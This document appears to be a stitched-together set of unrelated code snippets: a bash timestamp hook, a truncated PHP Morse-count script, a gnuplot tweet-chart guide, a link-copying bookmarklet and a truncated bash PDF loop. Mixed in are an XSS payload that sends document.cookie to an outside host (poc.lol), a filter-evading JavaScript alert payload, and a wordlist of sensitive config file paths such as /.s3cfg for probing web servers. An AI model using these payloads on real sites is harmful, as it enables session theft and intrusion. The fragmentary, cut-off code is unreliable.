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PROMPT_COMMAND='PS1_RUN_PREEXEC=1'
preexec() {
    if [ -z "$PS1_RUN_PREEXEC" ]; then
        return
    fi
    unset PS1_RUN_PREEXEC
    echo $'\e[38;5;241m'"[$(date +'%Y-%m-%dT%H:%M:%S%z')]"$'\e[0m'
}
trap 'preexec' DEBUG

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<?php
// run as: php gen.php > morse.dat
// then run gnuplot morse.gnuplot

$f = new NumberFormatter("en", NumberFormatter::SPELLOUT);

for ($i = 0; $i < 5000000; $i++){
    $letters = strlen(morse($f->format($i)));
    $numbers = strlen((string) $i) * 5;

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Plotting tweets with gnuplot

Guide to producing a chart like this one.

This is a bit of a hack job, natch.

Grab your Twitter archive and extract it. You need to find data/tweet-headers.js and make a copy of it:

cp data/tweet-headers.js tweets.json

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Reflect.apply.call`${fetch}${window}${['https://poc.lol/?'+document.cookie]}`

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https://twitter.com/intigriti/status/1399317852788830211

[][`flat`][`constructor`]`alert(document.domain)```

`${e}` => [object HTMLProgressElement]
`${[]/[]}` => NaN
`${[][[]]}` => undefined

flat
constructor

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/.s3cfg
/phpunit.xml
/nginx.conf
/.vimrc
/LICENSE.md
/yarn.lock
/Gulpfile
/Gulpfile.js
/composer.json
/.npmignore

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plain
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javascript:d=document;b=d.createElement`textarea`;c=d.getSelection();b.textContent=[...d.querySelectorAll`div.r>a:first-child`].map(n=>n.href).join`\n`;d.body.appendChild(b);c.removeAllRanges();b.select();d.execCommand`copy`;d.body.removeChild(b)

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#!/bin/bash
dir=$1

if [ ! -d "$dir" ]; then
    echo "no dir"
    exit
fi

find "$dir" -type f -name "*.pdf" | sort | while read file; do
    evince -s "$file"